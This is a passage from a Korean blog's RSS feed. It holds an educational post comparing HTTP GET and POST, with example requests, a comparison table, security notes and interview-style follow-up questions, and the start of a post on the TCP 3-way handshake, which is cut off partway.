&lt;li&gt;&lt;p&gt;&lt;strong&gt;브라우저 히스토리 저장 안 함&lt;/strong&gt;: 일반적으로 히스토리에 저장하지 않음&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;북마크 불가능&lt;/strong&gt;: 요청 본문이 포함되어 있어 북마크 의미 없음&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;POST 요청의 데이터 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- POST /users --------&amp;gt;|  [요청: 본문에 데이터 포함]
    |    Body: {name, email}   |
    |                         |
    |                         |  [서버: 데이터 처리/생성]
    |                         |
    |&amp;lt;---- 201 Created --------|  [응답: 생성된 리소스 정보]
    |    Location: /users/123  |
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;요청 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 45

{
  &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;hong@example.com&amp;quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;응답 예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 201 Created
Location: /api/users/123
Content-Type: application/json
Content-Length: 156

{
  &amp;quot;id&amp;quot;: 123,
  &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;hong@example.com&amp;quot;,
  &amp;quot;createdAt&amp;quot;: &amp;quot;2024-01-01T00:00:00Z&amp;quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;POST의 사용 사례&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;리소스 생성&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /users              # 새 사용자 생성
POST /articles           # 새 게시글 작성
POST /orders             # 새 주문 생성&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 전송 및 처리&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /login              # 로그인 (인증 정보 전송)
POST /upload             # 파일 업로드
POST /payment            # 결제 처리&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;복잡한 쿼리&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /search             # 복잡한 검색 조건 (본문에 JSON)
POST /filter             # 복잡한 필터링&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;4. GET vs POST 비교&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;핵심 차이점&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;GET&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;POST&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;용도&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;리소스 조회&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;리소스 생성/처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;데이터 위치&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;URL 쿼리 스트링&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;HTTP 요청 본문&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;데이터 크기 제한&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;있음 (URL 길이 제한)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음 (본문 크기 제한만)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;멱등성&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;멱등 (Idempotent)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;비멱등 (Non-idempotent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;안전성&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;안전 (Safe)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;안전하지 않음 (Unsafe)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;캐싱&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;불가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;브라우저 히스토리&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;저장됨&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;저장 안 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;북마크&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;불가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;보안&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;URL에 노출 (민감 정보 부적합)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;본문에 포함 (상대적으로 안전)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;사용 예시&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;검색, 조회&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;생성, 로그인, 파일 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;데이터 전송 위치 비교&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GET:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /api/users?id=123&amp;amp;name=홍길동 HTTP/1.1
Host: example.com
[데이터가 URL에 포함]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;POST:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json

{
  &amp;quot;id&amp;quot;: 123,
  &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;
}
[데이터가 본문에 포함]&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;5. 데이터 흐름 상세 분석&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;GET 요청의 전체 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 클라이언트가 URL에 데이터를 포함하여 요청
   GET /api/users?id=123 HTTP/1.1
   Host: example.com
      ↓
2. 네트워크를 통해 서버로 전송
   [TCP/IP 패킷]
      ↓
3. 서버가 요청을 받아 처리
   - URL에서 쿼리 파라미터 추출 (id=123)
   - 데이터베이스에서 조회
      ↓
4. 서버가 응답 반환
   HTTP/1.1 200 OK
   Content-Type: application/json

   {&amp;quot;id&amp;quot;: 123, &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;}
      ↓
5. 클라이언트가 응답 수신 및 처리
   - JSON 파싱
   - 화면에 표시&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;POST 요청의 전체 흐름&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 클라이언트가 본문에 데이터를 포함하여 요청
   POST /api/users HTTP/1.1
   Host: example.com
   Content-Type: application/json

   {&amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;, &amp;quot;email&amp;quot;: &amp;quot;hong@example.com&amp;quot;}
      ↓
2. 네트워크를 통해 서버로 전송
   [TCP/IP 패킷]
      ↓
3. 서버가 요청을 받아 처리
   - 본문에서 데이터 추출 (JSON 파싱)
   - 데이터 검증
   - 데이터베이스에 저장
      ↓
4. 서버가 응답 반환
   HTTP/1.1 201 Created
   Location: /api/users/123

   {&amp;quot;id&amp;quot;: 123, &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;, ...}
      ↓
5. 클라이언트가 응답 수신 및 처리
   - 생성된 리소스 정보 확인
   - 화면 업데이트&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;6. 언제 GET을 사용하고 언제 POST를 사용할까?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;GET을 사용해야 하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;리소스 조회&lt;/strong&gt;: 서버에서 데이터를 읽어올 때&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;검색&lt;/strong&gt;: 검색어, 필터 조건을 전송할 때&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;멱등성이 필요한 작업&lt;/strong&gt;: 같은 요청을 여러 번 해도 같은 결과&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;캐싱이 필요한 경우&lt;/strong&gt;: 자주 조회하는 데이터&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;URL 공유가 필요한 경우&lt;/strong&gt;: 북마크, 공유 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /users/123              # 사용자 정보 조회
GET /products?category=electronics  # 상품 목록 조회
GET /search?q=spring         # 검색&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;POST를 사용해야 하는 경우&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;리소스 생성&lt;/strong&gt;: 새 데이터를 서버에 저장할 때&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;서버 상태 변경&lt;/strong&gt;: 데이터 수정, 삭제&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;민감한 정보 전송&lt;/strong&gt;: 비밀번호, 개인정보&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;대용량 데이터&lt;/strong&gt;: URL 길이 제한을 피하기 위해&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;복잡한 데이터 구조&lt;/strong&gt;: JSON 객체 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /users                  # 새 사용자 생성
POST /login                  # 로그인 (비밀번호 전송)
POST /articles               # 새 게시글 작성
POST /upload                 # 파일 업로드&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;7. 보안 고려사항&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;GET의 보안 문제&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL에 데이터가 노출됨&lt;/li&gt;
&lt;li&gt;브라우저 히스토리에 저장됨&lt;/li&gt;
&lt;li&gt;서버 로그에 기록됨&lt;/li&gt;
&lt;li&gt;프록시 서버 로그에 기록됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /login?username=admin&amp;amp;password=1234
[비밀번호가 URL에 노출됨!]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;민감한 정보는 POST 사용&lt;/li&gt;
&lt;li&gt;인증 정보는 POST로 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;POST의 보안 고려사항&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;본문에 데이터가 포함되어 URL에 노출되지 않음&lt;/li&gt;
&lt;li&gt;HTTPS와 함께 사용하면 암호화 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;주의사항:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS를 사용하지 않으면 네트워크에서 데이터를 볼 수 있음&lt;/li&gt;
&lt;li&gt;CSRF(Cross-Site Request Forgery) 공격에 취약할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt;은 리소스를 조회할 때 사용하며, 데이터를 URL의 쿼리 스트링에 포함하여 전송합니다. 멱등성과 안전성을 가지며, 캐싱이 가능하고 브라우저 히스토리에 저장됩니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt;는 리소스를 생성하거나 처리할 때 사용하며, 데이터를 HTTP 요청 본문에 포함하여 전송합니다. 비멱등성이며 서버 상태를 변경하므로 캐싱이 불가능합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;데이터 흐름&lt;/strong&gt;: GET은 URL에 데이터를 포함하여 전송하고, POST는 본문에 데이터를 포함하여 전송합니다. POST는 대용량 데이터와 민감한 정보 전송에 적합합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;선택 기준&lt;/strong&gt;: 조회는 GET, 생성/수정/삭제는 POST를 사용합니다. 민감한 정보는 반드시 POST를 사용하고 HTTPS와 함께 사용해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc7231&quot;&gt;RFC 7231 - HTTP/1.1 Semantics and Content&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods&quot;&gt;MDN Web Docs - HTTP Methods&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://restfulapi.net/&quot;&gt;RESTful API Design Guidelines&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;1. GET 요청에도 본문을 포함할 수 있나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;기술적으로는 가능하지만 권장하지 않음:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP 스펙상 GET 요청에도 본문을 포함할 수 있음&lt;/li&gt;
&lt;li&gt;하지만 대부분의 서버, 프록시, 캐싱 시스템이 GET 본문을 무시함&lt;/li&gt;
&lt;li&gt;GET의 의미(조회)와 맞지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;권장 사항:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET은 URL 쿼리 스트링만 사용&lt;/li&gt;
&lt;li&gt;본문이 필요하면 POST 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. POST도 멱등하게 만들 수 있나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;가능하지만 POST의 본래 의미와 맞지 않음:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;POST는 본래 비멱등성을 가정하지만, 구현에 따라 멱등하게 만들 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /users
{&amp;quot;id&amp;quot;: 123, &amp;quot;name&amp;quot;: &amp;quot;홍길동&amp;quot;}

[서버가 id를 확인하여 이미 존재하면 업데이트, 없으면 생성]
→ 멱등하게 동작 가능&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;하지만 권장하지 않음:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PUT이나 PATCH를 사용하는 것이 더 적절&lt;/li&gt;
&lt;li&gt;RESTful API 설계 원칙에 맞지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. GET과 POST의 데이터 크기 제한은?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;GET:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL 길이 제한: 브라우저마다 다름 (일반적으로 2048자)&lt;/li&gt;
&lt;li&gt;서버 설정에 따라 다를 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;POST:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;본문 크기 제한: 서버 설정에 따라 다름&lt;/li&gt;
&lt;li&gt;일반적으로 수 MB ~ 수 GB까지 가능&lt;/li&gt;
&lt;li&gt;파일 업로드 시 더 큰 크기 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;권장:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET은 작은 데이터만 전송&lt;/li&gt;
&lt;li&gt;대용량 데이터는 POST 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. PUT, PATCH, DELETE와의 차이는?&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;메서드&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;용도&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;멱등성&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;안전성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;GET&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;조회&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;POST&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;생성&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;PUT&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;전체 수정&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;PATCH&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;부분 수정&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;DELETE&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;삭제&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;POST vs PUT:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;POST: 리소스 생성 (비멱등)&lt;/li&gt;
&lt;li&gt;PUT: 리소스 전체 수정 (멱등)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PUT vs PATCH:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PUT: 리소스 전체를 교체&lt;/li&gt;
&lt;li&gt;PATCH: 리소스 일부만 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. RESTful API에서 GET과 POST의 역할은?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;RESTful API 설계 원칙:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET    /users          # 사용자 목록 조회
GET    /users/123      # 사용자 상세 조회
POST   /users          # 새 사용자 생성
PUT    /users/123      # 사용자 전체 수정
PATCH  /users/123      # 사용자 부분 수정
DELETE /users/123      # 사용자 삭제&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;GET과 POST의 역할:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GET&lt;/strong&gt;: 리소스 조회 (Read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POST&lt;/strong&gt;: 리소스 생성 (Create)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;RESTful 원칙 준수:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;각 메서드의 의미에 맞게 사용&lt;/li&gt;
&lt;li&gt;멱등성과 안전성 고려&lt;/li&gt;
&lt;li&gt;적절한 HTTP 상태 코드 반환&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Network</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/129</guid>
      <comments>https://jaemeon.tistory.com/129#entry129comment</comments>
      <pubDate>Mon, 26 Jan 2026 08:18:36 +0900</pubDate>
    </item>
    <item>
      <title>Network_03) 손 3개가 아닌 3개의 단계별 악수법 입니다.</title>
      <link>https://jaemeon.tistory.com/128</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;3-way handshake&lt;/strong&gt;는 TCP(Transmission Control Protocol)에서 두 호스트 간의 연결을 설정하기 위해 수행하는 3단계 과정입니다. 클라이언트와 서버가 서로의 통신 준비 상태를 확인하고 시퀀스 번호를 동기화하여 신뢰성 있는 연결을 수립합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;TCP는 연결 지향형 프로토콜이므로 데이터 전송 전에 연결을 설정해야 합니다. 3-way handshake를 통해 양쪽 모두 통신 준비가 되었음을 확인하고, 시퀀스 번호를 동기화하여 데이터의 순서를 보장할 수 있습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;3-way handshake의 각 단계에서 사용되는 플래그(SYN, ACK)의 의미, 시퀀스 번호와 확인 응답 번호의 역할, 그리고 연결 해제 과정인 4-way handshake와의 차이를 이해해야 합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. 3-way Handshake란?&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;3-way Handshake의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;3-way handshake&lt;/strong&gt;는 TCP 연결을 설정하기 위해 클라이언트와 서버가 &lt;strong&gt;3번의 패킷을 주고받는 과정&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;왜 3번인가?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1번&lt;/strong&gt;: 클라이언트 → 서버 (연결 요청)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2번&lt;/strong&gt;: 서버 → 클라이언트 (연결 수락 + 확인)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3번&lt;/strong&gt;: 클라이언트 → 서버 (확인 응답)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;양쪽 모두 상대방의 통신 준비 상태를 확인하기 위해 최소 3번의 패킷 교환이 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. 3-way Handshake 과정&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;전체 흐름도&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- SYN (seq=x) -------&amp;gt;|  [1단계: 연결 요청]
    |                         |
    |&amp;lt;-- SYN-ACK (seq=y, ack=x+1) --|  [2단계: 연결 수락 + 확인]
    |                         |
    |---- ACK (ack=y+1) ------&amp;gt;|  [3단계: 확인 응답]
    |                         |
  [연결 설정 완료]
  [데이터 전송 시작 가능]&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;1단계: SYN (Synchronize) - 연결 요청&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;클라이언트 → 서버&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 서버에 연결을 요청합니다.

TCP 헤더:
- SYN = 1 (연결 요청 플래그)
- Sequence Number = x (초기 시퀀스 번호, 랜덤 값)
- ACK = 0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;의미:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;클라이언트가 서버에 &amp;quot;연결하고 싶다&amp;quot;고 요청&lt;/li&gt;
&lt;li&gt;초기 시퀀스 번호(x)를 서버에 알림&lt;/li&gt;
&lt;li&gt;클라이언트는 서버의 응답을 기다림 (SYN_SENT 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2단계: SYN-ACK (Synchronize-Acknowledgment) - 연결 수락 + 확인&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;서버 → 클라이언트&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;서버가 연결을 수락하고 클라이언트의 요청을 확인합니다.

TCP 헤더:
- SYN = 1 (연결 수락 플래그)
- ACK = 1 (확인 응답 플래그)
- Sequence Number = y (서버의 초기 시퀀스 번호, 랜덤 값)
- Acknowledgment Number = x + 1 (클라이언트의 시퀀스 번호 + 1)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;의미:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;서버가 &amp;quot;연결을 수락한다&amp;quot;고 응답&lt;/li&gt;
&lt;li&gt;서버의 초기 시퀀스 번호(y)를 클라이언트에 알림&lt;/li&gt;
&lt;li&gt;클라이언트의 요청(x)을 받았다는 확인 (ack = x + 1)&lt;/li&gt;
&lt;li&gt;서버는 클라이언트의 최종 확인을 기다림 (SYN_RECEIVED 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3단계: ACK (Acknowledgment) - 확인 응답&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;클라이언트 → 서버&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트가 서버의 응답을 확인합니다.

TCP 헤더:
- ACK = 1 (확인 응답 플래그)
- Acknowledgment Number = y + 1 (서버의 시퀀스 번호 + 1)
- SYN = 0 (이제 일반 데이터 전송 단계)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;의미:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;클라이언트가 서버의 응답(y)을 받았다는 확인 (ack = y + 1)&lt;/li&gt;
&lt;li&gt;이제 양쪽 모두 연결이 설정되었음을 확인&lt;/li&gt;
&lt;li&gt;데이터 전송 시작 가능 (ESTABLISHED 상태)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. 각 단계의 상태 변화&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;클라이언트 상태 변화&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CLOSED
  ↓
[1단계: SYN 전송]
  ↓
SYN_SENT (서버 응답 대기)
  ↓
[2단계: SYN-ACK 수신]
  ↓
[3단계: ACK 전송]
  ↓
ESTABLISHED (연결 완료, 데이터 전송 가능)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;&lt;strong&gt;서버 상태 변화&lt;/strong&gt;&lt;/h3&gt;
